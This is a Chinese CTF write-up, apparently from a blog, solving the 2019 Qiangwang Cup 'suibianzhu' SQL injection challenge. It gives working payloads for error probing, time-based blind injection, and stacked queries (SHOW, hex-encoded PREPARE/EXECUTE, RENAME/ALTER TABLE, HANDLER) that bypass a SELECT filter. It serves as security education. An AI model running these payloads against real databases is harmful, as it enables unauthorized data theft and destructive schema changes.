[强网杯 2019]随便注 1

[强网杯 2019]随便注



前言

由题目可以知道这是一个存在 SQL 注入的漏洞,所以上来结合我们所学的进行操作即可

一、判断是否存在注入点

虽然我们已经知道了存在 SQL 注入,但是该走的形势还是要走一下,如果你是大佬那无所谓了。

在数据后面加 '、"、)、)) 这几个的混合,查看页面是否报错如果报错说明存在注入漏洞
在URL 后面加 and 1=1 、and 1=2 查看页面是否一样,如果一样就说明没有注入漏洞

然后我们在输入框数据 1’ ,就可以看到页面展示为:
在这里插入图片描述
说面存在注入点。也可以使用**(1’ or 1=1#)**

二、查看字段数

使用 order by 函数进行猜:

1' order by 2  #这个没有报错,页面展示信息正常
1' oreder by 3  # 这个页面展示信息就不一样了

综上可得数据库中只有两列

三、查看信息

在这里插入图片描述
我们可以得知这里对函数进行了限制,所以我们需要转换思路进行注入

一、报错注入

从上面给的信息我们可以看出并没有过滤 updatexml 和 Extractvalue 这两个函数,使用的前提是页面会展示报错信息,但是页面没有展示什么报错信息,只是一个 返回语句,所以我们只能放弃

二、布尔、时间盲注

这个方法使用的前提恰好是页面没有展示报错信息,所以我们直接构造 payload 进行注入:

1' and if(ascii(substr(database(),1,1)>1),sleep(3),1)# // 我这里为了展示可行,将判断条件设为 >1 ,这是最快捷的

在这里插入图片描述
从结果中很明显的看到时间是延长了,所以是可以利用的,但是这个方法对于不会使用的工具的就很难受了,因为你要一个一个测,就很麻烦,这个方法只能测出数据库名,剩下测的时候需要使用到 SELECT 语句,不过你可以使用 16 进制编码,很麻烦,所以不推荐

三、正则表达式注入

很明显这个方法时不可行的,因为这个里面使用到最关键的一个 SELECT 函数,而这个函数却被拦截

四、堆叠注入

这个方法利用的思路就是,有的工具允许一条语句中存在多条命令,条件就是两条语句之间要使用分隔符分开。在 MYSQL 中 ; 作为分割符,在上面的拦截字符串中并没有出现 ;。
因为在拦截中已经拦截了 SELECT, 所以我们需要找到替代品 — SHOW

1'; show databases#   // 这个方法是展示所有数据库

在这里插入图片描述
在这里我们可以得出这个方法是可以使用的,我们接着查看所有的数据表:

1'; show tables# // 展示当前数据库的所有数据表

在这里插入图片描述
接着我们对数据表中所有的字段:

1'; show columns from words# // 展示 words 表中的数据字段名
1'; show columns from `1919810931114514` #  // 在这里我们需要注意。表名为数字时,要用反引号包起来查询。在这个表中我们查询到字段名为 flag ,所以我们可以肯定数据在这里

这后面我不会看的大佬的

一、使用编码方式

prepare的介绍
因为select被过滤了,所以先将select * from 1919810931114514 先编码为 16 进制在进行注入:工具

;SeT@a=0x312773656c6563742a66726f6d603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

在这里插入图片描述

二、修改表名

因为这个默认查询就是查询的 words 表,所以我们直接将表名修改,让查询变换一下即可,
思路:

  1. 将 words 表名变为其他名字
  2. 将 1919810931114514 表的名字改为 words
  3. 给新的 words 表添加列 id,(如果不修改会报错)
  4. 将 flag 设为 data
    PS: 为什么添加 id列, 修改 flag字段名,这是因为 words 表字段就是这两个没如果不修改会报错
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#

修改完成后就可以得到了:
在这里插入图片描述

三、使用 HANDLER

1'; handler `1919810931114514` open as `a`; handler `a` read next;#

在这里插入图片描述

总结

借鉴文章

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值